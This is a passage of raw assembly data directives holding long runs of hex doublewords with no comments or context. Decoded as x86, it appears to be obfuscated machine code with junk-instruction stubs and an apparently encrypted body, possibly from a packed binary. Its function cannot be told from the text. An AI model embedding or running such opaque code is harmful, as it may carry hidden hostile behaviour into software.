44810424h, 1A0424h, 55450000h dd 0AF56FEC3h, 23AA8A27h, 9531C08Bh, 5E91601h, 164DBD83h dd 750005E9h, 21BD8309h, 5E911h, 53501374h, 0D0B8C08Bh dd 8D000004h, 0EBB6989Dh, 5BD3FF05h, 21BD8358h, 5E911h dd 53501174h, 4D0B8h, 0E59D8D00h, 0FF05EBB5h, 80585BD3h dd 0E9F938F7h, 0Bh, 0D442CD23h, 0D37AC04Eh, 8B4949B5h dd 6850FC0h, 2B000000h, 0E90E71BDh, 6A858D05h, 8905ECAEh dd 0E92AF585h, 0B9665005h, 48991A0h, 0BD296024h, 5E925A9h dd 8D61C38Bh, 0ECAE2785h, 0FB8B6605h, 0F525050h, 8Fh, 5A310F00h dd 24048958h, 14E8h, 0FAD41E00h, 0A4D0022Eh, 0A7C958CBh dd 87A51FA5h, 0A839F8BDh, 0AE9D4h, 0BF240000h, 60862A2Ch dd 3F4F01AFh, 5195FF5Ah, 6A05E90Dh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 9F4BC357h dd 0C00B5218h, 66090291h, 0D10DD981h, 424448Bh, 528589FCh dd 0F905ECAEh, 824448Bh, 0BA99D8Bh, 858905E9h, 5ECAE66h dd 2481958Bh, 0BD8305E9h, 5E90725h, 22850F00h, 6A000001h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0E25DC353h, 0E30BA06h, 0D8D8BCDh, 0C605E922h dd 0E90EE585h, 10E94705h, 89000000h, 589156D8h, 48550F9Fh dd 2418313Dh, 0E8B67220h, 4, 0D49AA7D2h, 0F50F08Ah, 85h dd 24448B00h, 0FE804h, 0DA1A0000h, 0C3E70820h, 0A55C5E0Eh dd 8CFE8CE6h, 5E9F6h, 0AF750000h, 5B3A870Ch, 0BA66008Bh dd 448944B8h, 8B660424h, 6A58D7h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 669A18C3h, 958BD88Bh dd 5E90625h, 1EFDB5FFh, 6A05E9h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 8BE7F5C3h, 0E9191D8Dh dd 6F858D05h, 6A05EC7Ah, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 9DE2C353h, 0E99B19F8h dd 89D0FFA5h, 0E9279195h, 25858905h, 5705E907h, 0F9B58960h dd 0F05E911h, 8Fh, 0B5B6100h, 0E907A195h, 0C5BD8305h, 5E932h dd 14E850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 3710A5C3h, 0F0A9071Fh, 0EE585C6h dd 6A4705E9h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 1D78C355h, 0DF2BF3B5h, 8D89F511h dd 5E925B5h, 6E9h, 1F4E0D00h, 0E88F5294h, 4, 8A0FB5E2h dd 0EE8h, 572D7C00h, 80DD4B86h, 67427E48h, 0BFD7664Ch dd 2AA0CA9Ch, 0F60505Ah, 288h, 66F88A00h, 61FB8ABEh, 424448Bh dd 8E0F008Bh, 17h, 11E8h, 93579000h, 38FA16E8h, 0EB316E73h dd 41A00700h, 895F9343h, 60042444h, 0F28B6660h, 66525061h dd 310FD08Bh, 6E8h, 40C3C100h, 59EF91D7h, 5861585Ah, 1249B509h dd 0B5FF05E9h, 5E91EFDh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 95C35040h, 756D6B1Ah, 8E0F5Ah, 8D000000h dd 0EC7A6F85h, 0F98B6605h, 6AD0FFh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0DF3467C3h dd 2599BD8Bh, 858905E9h, 5E932C5h, 0AE8h, 0E1534D00h, 2F10D72h dd 66A1A5A9h, 5BDF55BFh, 1789BD83h, 0F0005E9h, 8A85h, 85C6FC00h dd 5E90EE5h, 55006A56h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 0A1CF058Dh, 454CDCADh, 7568A330h dd 53E4E258h, 48C0Fh, 0BB660000h, 8159BF6Dh, 354C2434h dd 858930FDh, 5E92D29h, 1EFDB5FFh, 8DF905E9h, 0EC7A6F85h dd 0E5BD0B05h, 0FF05E904h, 57006AD0h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0C635906Ah dd 0BE92941h, 17898589h, 0C6F505E9h, 0E90EE585h, 8D8B6C05h dd 5E92439h, 4D1AA268h, 890F56D9h, 2, 815BD88Bh, 6A212434h dd 6A0248h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 0C9DD8AC3h, 0B5FFA572h, 5E92345h, 14E8h dd 301B0000h, 8F58E1B9h, 86170525h, 2845F40Bh, 4E6ADF1Eh dd 0FE860BEh, 0C8000000h, 0E000AE9Bh, 68C60A68h, 6CAD7160h dd 665BB058h, 5F61D98Bh, 39CF858Dh, 0BD2905E9h, 5E901D5h dd 0D0FF2AB3h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 0E2C35646h, 58A74630h, 5ACE4165h, 6185894Dh, 8905E91Dh dd 0ECAE5685h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 0BA66E0D1h, 46AFFDDh dd 14E8h, 0B19FBA00h, 0AB30DDBBh, 0F8DE3428h, 6D46C620h dd 0D33C4022h, 6890F97h, 0F000000h, 83h, 0B685A00h, 0E9722589h dd 0Fh, 0ACB75034h, 8107072Dh, 0FD647B81h, 81A44FE0h, 990B2434h dd 0BA667225h, 3C68E1EDh, 0E9845E8Fh, 9, 0F2E02A5Eh, 6AA08A25h dd 24048129h, 7BA270C4h, 0B80AF8BAh, 6A006A27h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 0AAD7C350h, 83D2CA6Eh, 0FFF98772h, 0E9183595h, 6D852905h dd 8905E911h, 0ECAE6285h, 5E905h, 0C0640000h, 6A64D430h dd 0CDBB5000h, 5B2D7383h, 0C8E45E68h, 240481BFh, 40381BA2h dd 1950B60h, 0B005E923h, 8B9061ABh, 8B6650D3h, 6A90D8h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 23C01C3h, 0F59D6146h, 66562DDBh, 6A59D78Bh, 9D89570Bh dd 5E91059h, 1DBD235Ah, 8D05E929h, 0ECAE2F85h, 0BD950305h dd 9005E90Fh, 0BA3455B9h, 28B2504Bh, 1B58990h, 0FF05E92Bh dd 0E9072595h, 0FE905h, 0C5E70000h, 0ABF1D4EBh, 91A1CBDBh dd 82738C71h, 39B58DF1h, 6A05ECAEh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 4258C353h dd 68A0F31h, 89000000h, 0E915D99Dh, 0B59D8B05h, 5005E931h dd 0A7E41BB9h, 2434897Eh, 68E0Fh, 9D290000h, 5E9229Dh dd 50EC8A90h, 0DE9h, 0E96CAC00h, 0F60E0B10h, 1742CE39h dd 6690102Dh, 95FFDF8Bh, 5E932C5h, 11398D89h, 0D0FF05E9h dd 31618D89h, 0B58B05E9h, 5ECAE62h, 0AE9h, 0F9E6B800h dd 95FF120h, 0C7277B3Ah, 0ECAE5A85h, 5, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 0FFBF0F1Fh, 207E80h, 239840Fh, 0E3810000h, 3F16BF6Fh dd 8D8B5160h, 5E92FBDh, 20468D59h, 186D8531h, 0FB8B05E9h dd 0AE5E8589h, 0B58905ECh, 5E92B31h, 16E9h, 6223B900h dd 0CB8B6F7Ah, 9D2B5640h, 5E92CFDh, 0CD8D095Bh, 8005E90Eh dd 850F0038h, 0FFFFFFE8h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 87C35242h, 0D4C2D7DBh, 0A34AB7CEh, 0BEBA66B7h dd 0E9D18BE6h, 0Dh, 1507CA81h, 8B48279Bh, 0E91F5195h, 5C388005h dd 30840Fh, 0FE90000h, 56000000h, 0EFA302F3h, 0C58163E3h dd 37B0F705h, 388059BFh, 13840F2Fh, 0F9000000h, 0AE5E853Bh dd 830F05ECh, 0FFFFFFC6h, 0B815CF81h, 664008D1h, 0BD83DE8Bh dd 5ECAE66h, 65840F00h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 30E7C352h dd 0AE31BB95h, 21E98589h, 8B5005E9h, 240489CFh, 0AB9958Bh dd 850305E9h, 5ECAE66h, 2296BB66h, 6A0000C6h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 7A25C353h, 583EB546h, 17DA80F5h, 0AE85090h, 0B1000000h dd 7AF66191h, 0BEBCFC29h, 59F18AC5h, 6FBB6690h, 52B5FF19h dd 8A05ECAEh, 5695FFD5h, 6A05ECAEh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 6365C355h dd 9F69EA3h, 0BBAE0413h, 267BEF37h, 850FC00Bh, 6Ah, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 82C35646h, 0C5FCEACh dd 858961F9h, 5E92AC9h, 0AE5A85C7h, 105ECh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0D1A0F7C3h, 0DDBD098Bh, 0B105E905h, 4DE9CDh, 95890000h dd 5E902A5h, 24D58D29h, 8B6105E9h, 0E90341BDh, 1CC68105h dd 8B000001h, 0E919918Dh, 7BF6605h, 0FDE2E9CBh, 6AFFFFh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 9452A3C3h, 42DEBE67h, 68779207h, 19521278h, 10E8h, 0F4387500h dd 4A2CDF90h, 78EAA00Ah, 432BD75Ah, 890F60FDh, 0 dd 850Fh, 5A610000h, 78243481h, 0BB195292h, 0F1F15D9h dd 0BD8B006Ah, 5E9166Dh, 0AE62B5FFh, 0B58905ECh, 5E92D7Dh dd 178995FFh, 820F05E9h, 18h, 0CE8h, 0ACE0A400h, 3D0B7A4h dd 0E1A2D7BBh, 0B19D0133h, 5905E905h, 858B99B3h, 5ECAE5Ah dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 35C35747h dd 11E94460h, 1D000000h, 0E3CAD01h, 594A5561h, 0AFFAB7FEh dd 84685A7Bh, 50D78A90h, 18840Fh, 52500000h, 0DE9h, 0B0280700h dd 5C40023Eh, 1BE3A7E7h, 310FA1B5h, 0F90585Ah, 858DD3BFh dd 5ECAE6Ah, 0E950DA8Bh, 0Ch, 222F4276h, 0C6CF94BAh, 0FC2FBC9Bh dd 89240489h, 0E91D85B5h, 27858D05h, 905ECAEh, 0E903DDB5h dd 8C0F5005h, 8, 28B0Fh, 0D38B0000h, 6A240489h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 996BC355h, 0C6C6A056h, 6995FF1Ch, 6A05E911h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 5182C353h, 0F64D264Bh, 0D682B6FEh, 9E9h, 25B92C00h dd 36A8FB0Fh, 0C08BF575h, 0D7816651h, 6659AB36h, 0C9D6EB81h dd 164DBD83h, 750005E9h, 21BD8309h, 5E911h, 53501374h dd 0D0B8C08Bh, 8D000004h, 0EBB6FF9Dh, 5BD3FF05h, 21BD8358h dd 5E911h, 53501174h, 4D0B8h, 0FE9D8D00h, 0FF05EBB5h, 6A585BD3h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 0E53EC356h, 60B142D8h, 0E9525E20h, 10h, 98489A33h dd 0ADB964B7h, 2847A9E4h, 0B436D9F0h, 56006A59h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0BB6600CEh, 0C08B2A36h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 20C35646h, 0FE8B20B1h, 0CF816658h, 860FF4CDh dd 6, 10919D01h, 8C205E9h, 99D8B00h, 8B05E92Fh, 55006AC0h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 8166CBC0h, 660B98C1h, 8DF1D3BAh, 0ECAE7A85h, 0D5BD3105h dd 8905E928h, 0E9048585h, 39EB05h, 0CC00BF00h, 0E400BF02h dd 0BF02h, 0EB000000h, 883A8E54h, 8E0B9758h, 845F8650h dd 94328D54h, 90338713h, 3A0BAD3Dh, 715FAF71h, 0FA2FAC49h dd 0BD37B753h, 0E73B8258h, 0A65F895Dh, 0F95FE0D5h, 3F02C33Dh dd 5A336A60h, 1B1B6239h, 9F5FF539h, 0C0AA63Dh, 8195FD50h dd 33D41DB6h, 0EF125EBEh, 895FE6D4h, 5FE26034h, 3F5A0A2Ch dd 0CC0FFA49h, 76E723B6h, 6E5FE339h, 1A7C5AB8h, 3DC26E38h dd 35A0885h, 0FD07B8EEh, 0D64EC280h, 882BE338h, 76E7B06Dh dd 6E5FE339h, 1A7C5AB8h, 4AC26E38h, 35A0888h, 1407B8EEh dd 3CB7B53Dh, 0BF5FE33Dh, 46012063h, 665BC749h, 0EB5BC779h dd 0BF5FE33Dh, 0FCDC206Bh, 719CC292h, 0FFD41A82h, 7709E357h dd 0CF5FE33Eh, 0B99CBD1Dh, 0F77B97B4h, 0FD7BA7BCh, 0FC5FE328h dd 7F9CB57Bh, 38E585DAh, 0CED2E29Ah, 95A0A19h, 0E5106B8h dd 0FFB7B538h, 735FE33Dh, 65A8E7C7h, 2E54A147h, 85973DF9h dd 86F9CCC8h, 9AC88B64h, 0B50F8428h, 7490B983h, 106EEC3Eh dd 0FC5FE333h, 3A23C9DFh, 388B2225h, 0A027A679h, 9705143Fh dd 5C7BE7BCh, 996A705Fh, 0FAB7B33Dh, 0DC5FE33Dh, 0F7072065h dd 0BE5BC779h, 855BC779h, 8F5FE33Dh, 722A206Dh, 0D39A7993h dd 0F94B0B70h, 648CE33Dh, 1B6C2F65h, 41F5E4F7h, 6D512C71h dd 0BE785F6Eh, 5AD408F7h, 0F6B6C16Ch, 8E0EC67h, 0E2A256C2h dd 0FF39E6D4h, 0B241B3D2h, 73258CB8h, 9C5F8938h, 0E75FE0D5h dd 3004C33Dh, 0DD036A66h, 0D81B6239h, 7E5FFF39h, 0FC0CA03Dh dd 8AF458Bh, 63F93925h, 6C8F1C4Fh, 1A54F688h, 705B8938h dd 154F56A8h, 0DDF18B38h, 0BDE9052h, 0F0EC4D19h, 62CAC84Eh dd 0F5A0A1Bh, 0F35FE339h, 0F95FE1D1h, 0AC8E685Dh, 89D4856Fh dd 0B439D232h, 0FE07B9C7h, 0EB1B686Dh, 0EEE58539h, 955F6888h dd 70C43C82h, 775BC779h, 7E35BBF3h, 3F5C0B6Ch, 0C67FE33Dh dd 83D6BAFEh, 0A3DEE719h, 0F342E719h, 0A81EE33Dh, 9C9A39FEh dd 0C577BBC9h, 0B60B84E7h, 76789680h, 0A55F8938h, 0E4B7B23Dh dd 0D35FE33Dh, 70062064h, 7D5BC771h, 645BC779h, 7E5FE33Dh dd 0D4C5206Ch, 2144C54Ch, 0E2E68522h, 66C2D29Bh, 65A0A38h dd 959B5DEDh, 0FBD6F822h, 3AB359FFh, 770CE357h, 0CF5FE33Eh dd 0BC9CB81Dh, 0F77BBFB4h, 0FD7BA7BCh, 0FC5FE327h, 219CB07Eh dd 3D25BA73h, 1E392119h, 440C4AD2h, 0E593E6C5h, 76D6E33Dh dd 0FCB359FBh, 754723BEh, 92E529B8h, 869FD038h, 9F5FE1D1h dd 0CF3549CEh, 0E75C0B68h, 0AE7FE33Dh, 95D6BEFEh, 0B8DEE719h dd 7E42E719h, 6A1AE33Dh, 36D195FEh, 3A00AEE4h, 0E8CA4698h dd 0F35FE0B8h, 9D4853Dh, 0FC5FEED4h, 0DE6BD93Dh, 0B5CEFBC9h dd 0CC1F3CA9h, 4A99BC37h, 0E2B6EDD8h, 0A45F897Eh, 0F95FE0D5h dd 3F00C33Dh, 5A236A62h, 1B1B6239h, 9F5FFE39h, 0C08A43Dh dd 21E6DC88h, 97AA7F60h, 0EDB688FAh, 0E85FE33Dh, 71342F2Dh dd 710BE75Ch, 299A4B7Dh, 88CC0762h, 8798EA5Fh, 0FE067EB6h dd 913EE6D4h, 563E5129h, 7E7A6F32h, 6D0FE33Dh, 9F5FF7D4h dd 99988A3Dh, 48091DABh, 0D0F5691Ah, 1C4E0C1Ch, 61352FDCh dd 2E6EECCDh, 656EEC6Fh, 1E07B965h, 1615C709h, 0E735D53Bh dd 0F35C0B6Ah, 0A67FE33Dh, 80D6BCFEh, 3ADEE719h, 3F44E719h dd 0C818E33Dh, 0C28BF4FEh, 0EC423DAEh, 0FFD6EC58h, 0F65FE33Dh dd 0FC5FE5B4h, 2BC26A3Dh, 0C05A0A3Bh, 76411E88h, 9D5F8938h dd 0E75FE0D5h, 3005C33Dh, 0DD0B6A67h, 0D81B6239h, 7E5FFA39h dd 0FC0DA13Dh, 0A98C2E27h, 7AD615C3h, 0E2B6E648h, 893066B0h dd 8AEDE6D1h, 0FC3533C2h, 7E5C0B6Dh, 677FE33Dh, 0DBD6BBFEh dd 8BDEE719h, 0E749E719h, 0A31FE33Dh, 6A01ECFEh, 75AC5432h dd 975AF6B8h, 0D1DE8538h, 1AD2F4BBh, 0CAB6E3C0h, 0E74F6032h dd 0F8B6E33Dh, 245FE33Dh, 5B3FED10h, 0F9F0D57Fh, 0BAD6D85Ah dd 9AB6E99Ch, 0C1BA66FBh, 0E0CE6D4h, 0F35FE338h, 60BD6D1Ch dd 931F8B02h, 0C4392408h, 0BDEE0EAh, 1B787B19h, 9C5F8906h dd 0E75FE0D5h, 3004C33Dh, 0DD036A66h, 0D81B6239h, 7E5FFF39h dd 0FC0CA03Dh, 5C9AACDAh, 331CFF99h, 0E74E0BA3h, 4CCCE33Dh dd 61C389B8h, 5A7B85E6h, 0A69F9FFBh, 36C8E86Ah, 767B4EB8h dd 7050BD38h, 1AEA1CCFh, 995A0A23h, 0FAB7B23Dh, 0DC5FE33Dh dd 0F7062064h, 0BE5BC771h, 8A5BC779h, 8E5FE33Dh, 0F9F7206Ch dd 893066B0h, 0FFB7E6D1h, 225FE33Dh, 0F20BB15Eh, 0B2CAE279h dd 0C55A0A0Fh, 0CF3533C2h, 0E75C0B6Dh, 0AB7FE33Dh, 0BDD6BBFEh dd 0B8DEE719h, 7E44E719h, 6F1FE33Dh, 0FDFFF1FEh, 874158E1h dd 0DFE18501h, 66DA6AA6h, 725A0A23h, 156EC280h, 9BDA2538h dd 6C5A0A33h, 770FE357h, 0CF5FE33Eh, 0BF9CBB1Dh, 0F77BA7B4h dd 0FD7BA7BCh, 0FC5FE32Bh, 419CB37Dh, 57AA4BF3h, 537BFD28h dd 0CF5FEED5h, 3671783Dh, 0CD825254h, 0EB816D18h, 0F1B68104h dd 825FE33Dh, 0BE925350h, 1F5C432h, 74FFA242h, 0C36B6262h dd 0E763399Bh, 110EE357h, 0FC5FE33Eh, 279CBA1Dh, 3B7BAFB4h dd 9B7BA7BCh, 0CF5FE32Ah, 949CB27Ch, 93CC3D4Ch, 0FAFE5E14h dd 4176E6D4h, 7BB6F4CCh, 3F520A5Ch, 0C770E33Dh, 80F0AD60h dd 1849B440h, 0C6CE77Bh, 10411E88h, 495CB238h, 7BB6F3F4h dd 50DA6E64h, 0F95A0F47h, 1FA029B6h, 6AD4718Bh, 0F6B6C17Ch dd 0D22A66B4h, 0FC35E6D4h, 7E5C0B6Fh, 657FE33Dh, 0CBD6B9FEh dd 8BDEE719h, 0E744E719h, 0A11DE33Dh, 1C93BFEh, 0CD024E95h dd 7E590A85h, 0E914E33Dh, 560E533Ch, 0EB0E76B4h, 6299E6D4h dd 0F6B6EDD8h, 0AE5F897Ah, 0FC5FE0D5h, 0BD00C33Dh, 1B236A62h dd 0BB1B6239h, 0CF5FFA39h, 2408A43Dh, 0A68D7F39h, 0FFB66D80h dd 0A75FE33Dh, 0A2D77595h, 3F550AE4h, 0CCAAE33Dh, 5AD86ED4h dd 0D8A4F705h, 0F35FE7D5h, 27824A3Dh, 0EFB6B38Ah, 0D35FE33Dh dd 0C8A4EFFEh, 5722A56Bh, 2D44B9D9h, 4457E99h, 0A305B321h dd 0F9706032h, 0EEB7E33Dh, 0F85FE33Dh, 259392ECh, 0EAD0CBA1h dd 672DA9B9h, 7D298CFAh, 0F34D0A80h, 440E33Dh, 0B0BD804h dd 0FDFF9AD4h, 8A8EA105h, 33A1622h, 0EB1B6867h, 0E2D9EC39h dd 4D5FE33Dh, 0E15809E2h, 0EEB7E3B6h, 0C85FE33Dh, 8083A53Ah dd 317D3869h, 0DFD28B14h, 26CA75D2h, 0F3510B12h, 10BAE33Dh dd 4C8D7A22h, 78D1BE25h, 0F4B9F9E3h, 0DBD6BA63h, 0A507E719h dd 0E4B7B03Dh, 0D35FE33Dh, 70042066h, 7D5BC761h, 685BC779h dd 7C5FE33Dh, 0D970206Eh, 96E26A89h, 6C5A0A0Fh, 1A6E7A80h dd 4EA1C38h, 755A0A23h, 974982B0h, 50DA6E38h, 0F95A0F47h dd 301B4387h, 3EDE85EDh, 76D66BAAh, 0FCB6CAC4h, 96B63783h dd 9BDA2503h, 785A0A33h, 7708E357h, 0CF5FE33Eh, 0B89CBC1Dh dd 0F77B9FB4h, 0FD7BA7BCh, 0FC5FE326h, 169CB47Ah, 0C81FC0C6h dd 6AD1F1B8h, 15FCD755h, 662A51F5h, 4011C709h, 74D4AA3Bh dd 0F9B6F4CCh, 60A256C2h, 0BA76E6D4h, 9AB6CB98h, 0B53066B0h dd 6350E6D1h, 0F35FE33Eh, 6A1685Bh, 0AE5F89EDh, 7E5FE0D5h dd 0FC05C33Dh, 0BB0B6A67h, 0EB1B6239h, 0E75FF539h, 300DA13Dh dd 722F66F0h, 154DA680h, 7FDA6A38h, 555A0A1Ah, 9CB7B13Dh dd 0EF5FE33Dh, 6E052067h, 725BC769h, 0E25BC779h, 0BE5FE33Dh dd 0F55A206Fh, 0CF59BB0Fh, 1A999C0Ah, 0CAB6EDD8h, 86D2687Ah dd 9B5A0A18h, 10647DF3h, 0FC5FE6D4h, 8914733Dh, 0BDEC49Bh dd 69FD7019h, 9D5F897Eh, 0E75FE0D5h, 3005C33Dh, 0DD0B6A67h dd 0D81B6239h, 7E5FFE39h, 0FC0DA13Dh, 92F6994Bh, 0D11E762Bh dd 18A6B00Bh, 1A411E88h, 0AE5F8938h, 0FC5FE0D5h, 0BD00C33Dh dd 1B236A62h, 0BB1B6239h, 0CF5FF539h, 2408A43Dh, 1BED8B45h dd 0F95FE336h, 0F574F68Eh, 4AA85A03h, 66974712h, 0E53066B0h dd 9FE0E6D1h, 187DF9C9h, 0F3590BEDh, 516CE33Dh, 17649563h dd 7E4E6E32h, 34B7E33Dh, 0FC5FE33Dh, 0AD6FDB7h, 0CF9B89E0h dd 0AA00915Ah, 0DFAE66B4h, 2CD4E6D4h, 0EB7633C2h, 3AB6EA28h dd 1AD6BA6Bh, 0CAB6CC04h, 0F0CE357h, 0F35FE33Eh, 0A29CB81Dh dd 0F87BBFB4h, 7A7BA7BCh, 3F5FE326h, 0DB9CB07Eh, 0D425DBF6h dd 6EEC13FFh, 1A5B9A88h, 21D38538h, 140CE357h, 7E5FE33Eh dd 649CB81Dh, 9B7BBFB4h, 0CB7BA7BCh, 0E75FE32Bh, 309CB07Eh dd 4CD4C040h, 0F9B6D22Ch, 7E35E719h, 3F5C0B6Ch, 0C67FE33Dh dd 83D6BAFEh, 0A3DEE719h, 0F344E719h, 0A81EE33Dh, 0D6CA8AFEh dd 9BEC75E8h, 0FAD26A46h, 775A0A33h, 0CF5FE330h, 7CD48F1Bh dd 0B789773Eh, 0C66A1867h, 0B1E26804h, 215A0A36h, 0DE8E625Bh dd 909FE972h, 0CF5C3EB9h, 7EEA683Dh, 355A0A1Fh, 105106B8h dd 71D4AC38h, 7BB6CFD4h, 3F5FE7D5h, 1F33273Dh, 0CF550B82h dd 19FBE33Dh, 295DAB69h, 87E26685h, 0FC5FF2D4h, 94398A3Dh dd 0C94FDD73h, 0EC908466h, 0AC145F6Ah, 0B7060054h, 7B50835Dh dd 0F95FE33Dh, 0CD50B16Dh, 963EBB67h, 3F5FE32Eh, 0B04CB991h dd 63C475F0h, 3F94C72Ch, 2EA9E9C5h, 11326B20h, 0FC5FE32Ch dd 461759D3h, 37F150ECh, 2E254D08h, 0CA37F2B5h, 8605BD81h dd 0F77BA7B6h, 990DB35Dh, 0F36EEC5Ch, 7E5FE3B5h, 5E07B93Dh dd 0E5E5E3B6h, 4633E4CBh, 0E5BC779h, 0F35FE32Fh, 46540E2h dd 733F455Bh, 33EC1D00h, 5831121Ch, 0C9077315h, 5A8D2CBCh dd 1801E6D4h, 1A411E88h, 0F1D1EC38h, 0F35FE33Dh, 7E5FE1BEh dd 0B291683Dh, 73258CB8h, 9A5F8938h, 0E75FE0D5h, 3002C33Dh dd 0DD336A60h, 0D81B6239h, 7E5FF939h, 0FC0AA63Dh, 0B7E76497h dd 264F7B26h, 0E75FE333h, 0B3FEDB05h, 0F7E738h, 0D68FAB7Fh dd 0E3D64AFFh, 3AB6C624h, 22D433C2h, 0CAB6E590h, 8D7B23BEh dd 0F0B7B53Dh, 0D95FE33Dh, 75012063h, 0FF5BC749h, 275BC779h dd 0D95FE33Dh, 135E206Bh, 51742D3Dh, 1FB16289h, 7037A4CDh dd 1576CEB8h, 295F8938h, 3F5FE0D5h, 5C00C33Dh, 0EB236A62h dd 0C31B6239h, 0F35FF639h, 3A08A43Dh, 0FBB6509Fh, 6C5FE33Dh dd 0CF442308h, 14A6054Fh, 2670DAB8h, 0B65F8938h, 0F35FE0D5h dd 3A06C33Dh, 0D8136A64h, 5A1B6239h, 3F5FF439h, 5C0EA23Dh dd 0A9D82B7Bh, 180C5C5Bh, 62D2E85Dh, 725A0A2Bh, 61D482CEh dd 7BB6C5CCh, 22C26A5Dh, 2A5A0A0Dh, 0A51C8282h, 0E4B7B23Dh dd 0D35FE33Dh, 70062064h, 7D5BC771h, 625BC779h, 7E5FE33Dh dd 0D3EE206Ch, 2492C1B5h, 81DCA8A1h, 0E8D42BB6h, 1108E357h dd 0FC5FE33Eh, 219CBC1Dh, 3B7B9FB4h, 9B7BA7BCh, 0CF5FE328h dd 8D9CB47Ah, 0E8D4169Dh, 0E4A276B4h, 0E7D4E6D4h, 960FE357h dd 3F5FE33Eh, 0C79CBB1Dh, 0CB7BA7B4h, 0E37BA7BCh, 0F35FE32Ah dd 5E9CB37Dh, 9A3EF69Ch, 0F05915BCh, 0BAD63B0Eh, 9AB6ED00h dd 0C13E7EB4h, 0E735E6D4h, 0F35C0B6Bh, 0A77FE33Dh, 88D6BDFEh dd 3ADEE719h, 3F43E719h, 0C919E33Dh, 17387DFEh, 765EFE9h dd 2ADE48DFh, 0C972F54Eh, 0F2BA66FBh, 1418E6D4h, 3CB7B13Dh dd 0BF5FE33Dh, 46052067h, 665BC769h, 0EA5BC779h, 0BB5FE33Dh dd 0A538206Fh, 0C025CE8Ch, 6D25C883h, 9F5B0B24h, 12F6E33Dh dd 810F54E3h, 789CB482h, 485BC779h, 465F689Ch, 0A5B7BBFh dd 3B7BA7B4h, 60395D5Bh, 0CADFEC65h, 815FE33Dh, 33D329BCh dd 0E7A256C2h, 0FC35E6D4h, 7E5C0B6Fh, 657FE33Dh, 0CBD6B9FEh dd 8BDEE719h, 0E74BE719h, 0A11DE33Dh, 7CD280FEh, 0F9B39952h dd 81A335BDh, 685F89EDh, 9F5FE0D5h, 0C00C33Dh, 0C3236A62h dd 0D71B6239h, 0F95FF839h, 3F08A43Dh, 955F3C69h, 0C28DF77Ch dd 915256B4h, 1ED4E6D4h, 0CEA666B4h, 66D4E6D4h, 0FCB6FDFCh dd 0FC4F0A7Dh, 0E707E33Dh, 8B685CC8h, 4ABAEE83h, 2084DC3Ah dd 585015D6h, 995F68F5h, 0FAB7B63Dh, 0DC5FE33Dh, 0F7022060h dd 0BE5BC751h, 885BC779h, 8A5FE33Dh, 13962068h, 0FC3F094Eh dd 723F318Ah, 155916A0h, 0DD7F5A38h, 5E3EB0DCh, 9F35E3B6h dd 0CF5C0B6Eh, 0BC7FE33Dh, 0AFD6B8FEh, 0BDDEE719h, 0FC42E719h dd 2D1CE33Dh, 6E5D6AFEh, 4C8694F6h, 44B372BFh, 0E501680h dd 36DA6A38h, 0F65A0A1Ch, 0FC5FEFBFh, 78D8EC3Dh, 0B45FE33Dh dd 7671DEB0h, 0A4B66338h, 0E75F16D4h, 0F34B0A3Dh, 7D68E33Dh dd 69E72931h, 0A1BCE8CEh, 3225F1A4h, 0EDD60654h, 4AD2F058h dd 0E2B359D5h, 1B0DE357h, 0F95FE33Eh, 0A69CB91Dh, 7A7BB7B4h dd 3B7BA7BCh, 9F5FE32Bh, 0E29CB17Fh, 58E5CF44h, 637356ECh dd 9F0F29B6h, 9CCF33B6h, 5D426E34h, 0C03EE6D4h, 767482A8h dd 9F5F8938h, 0E75FE0D5h, 3007C33Dh, 0DD1B6A65h, 0D81B6239h dd 7E5FFF39h, 0FC0FA33Dh, 5C192745h, 1C795AE2h, 9C26E9Ch dd 7A5A0F87h, 104F32B0h, 9C0F7038h, 7C975C5Bh, 0F6DE705Ch dd 0DCC2A34Fh, 0CF576B32h dd 6E3FE33Dh, 1A47FA80h, 9F0F8238h, 752CC882h, 0A3E5C739h dd 3056140Ah, 9F5FE5BCh, 